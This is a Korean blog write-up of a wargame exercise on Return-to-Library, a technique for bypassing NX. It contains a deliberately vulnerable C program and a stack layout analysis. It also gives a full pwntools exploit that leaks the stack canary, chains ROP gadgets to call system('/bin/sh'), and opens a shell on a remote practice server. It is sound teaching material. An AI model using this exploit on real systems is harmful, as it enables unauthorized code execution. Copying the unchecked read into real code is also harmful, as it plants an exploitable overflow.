이론
사용 배경과 목적
NX를 우회하여 실행 흐름을 조작하는 것이 RTL의 목적입니다.
NX가 적용되지 않은 경우:
어떤 메모리 영역 (eg. 스택 영역)에 쓰기 권한과 실행 권한이 함께 있음
-> 셸코드 주입하여 Return address를 덮어 실행 흐름 조작 가능
NX가 적용된 경우:
실행될 때 각 메모리 영역에 필요한 권한만을 부여받음
-> 일반적으로 셸코드가 주입되었던 위치인 스택 영역이 이젠 실행 권한이 없으므로, 위 방법이 불가해짐
따라서, 우리가 직접 주입한 셸코드나, 바이너리에 존재하는 함수는 이젠 활용할 수 없게 됐으니 다른 방식을 찾아봐야 합니다.
원리
리턴 가젯을 활용하여 공유 라이브러리에 있는 함수를 호출하면 NX를 우회할 수 있습니다!
실습
소스 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
main 함수의 스택 분석
main+0: SFP push됨
main+4: 이 스택 프레임을 위한 버퍼가 0x40만큼 마련됨
main+8~17: canary값이 [rbp-0x8]에 저장됨
main+23~48: setvbuf(stdin, ...) 호출
main+53~78: setvbuf(stdout, ...) 호출
...
main+123~140:
read 함수 syscall에서, 입력을 받을 버퍼의 메모리 주소는 rsi 레지스터를 통해 전달되는데,
이때의 rsi는 [rbp-0x40]임을 알 수 있습니다.
따라서 스택 프레임은 아래와 같을 것입니다.
higher address... |
... |
Return address (0x08바이트) |
SFP (0x08바이트) |
Canary (0x08바이트) |
Dummy (0x08바이트) |
buf (0x30바이트) |
... |
lower address... |
exploit
✅ 우선 checksec을 이용하여 보안 설정을 확인합니다.
NX가 적용되어 있군요. 따라서 Return to Library 기법을 활용하겠습니다.
✅ 즉 return gadget을 포함한 payload로써 공격할 것이며, 대략 아래처럼 구성해야 합니다.
higher address... |
... |
address of <system@plt> |
address of "/bin/sh" |
address of <pop rdi; ret> |
address of <ret> |
Dummy |
알아낸 Canary값 |
Dummy |
... |
lower address... |
※ address of <ret>이 있는 이유: system 함수에서 일어날 오류를 방지하기 위해 배열을 맞춰주려고 껴넣은 것 뿐입니다.
✅ Canary leak
위의 스택 분석에 따르면, buf로부터 canary까지의 offset은 0x40 - 0x08 = 0x38바이트입니다.
canary 특성 상 첫 바이트는 null바이트이므로, 0x38에 0x1을 더하여, 0x39바이트의 dummy를 입력함으로써 canary leak이 가능할 것입니다.
✅ return gadget과 여기에 전달할 parameter들의 주소값 찾기
<ret>의 주소
<pop rdi; ret>의 주소
"/bin/sh"의 주소
최종 exploit 코드와 결과
from pwn import *
p = remote("host3.dreamhack.games", 22904)
e = ELF('./rtl') # ELF(): ELF 파일에 대한 정보 모음
def slog(name, addr): return success(': '.join([name, hex(addr)]))
# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
canary = u64(b'\x00' + p.recvn(7))
slog('canary', canary)
# [2] Exploit
system_plt_addr = e.plt['system']
bin_sh_addr = 0x400874
return_gadget_addr = 0x0000000000400853
ret_addr = 0x0000000000400285
payload = b'A' * 0x38
payload += p64(canary)
payload += b'B'*0x8
payload += p64(ret_addr) # movaps로 인한 오류 방지를 위해서는 스택을 0x10 단위로 정렬해야 하므로 이 줄 추가
payload += p64(return_gadget_addr)
payload += p64(bin_sh_addr)
payload += p64(system_plt_addr)
pause()
p.sendafter(b'Buf: ', payload)
p.interactive()
예상대로 셸이 획득되었습니다.
'IT > 시스템 보안' 카테고리의 다른 글
[SetUID] 임시적 권한 상승과 이로 인한 취약점 (0) | 2024.03.27 |
---|---|
[Return Oriented Programming] (0) | 2024.03.15 |
[Stack Canary] Stack Buffer Overflow로부터 Return address를 보호하기 (0) | 2024.03.05 |
[Stack Buffer Overflow] Return Address Overwrite을 통한 실행 흐름 조작 (0) | 2024.03.01 |
[Stack Buffer Overflow] 데이터 변조와 유출 (0) | 2024.02.29 |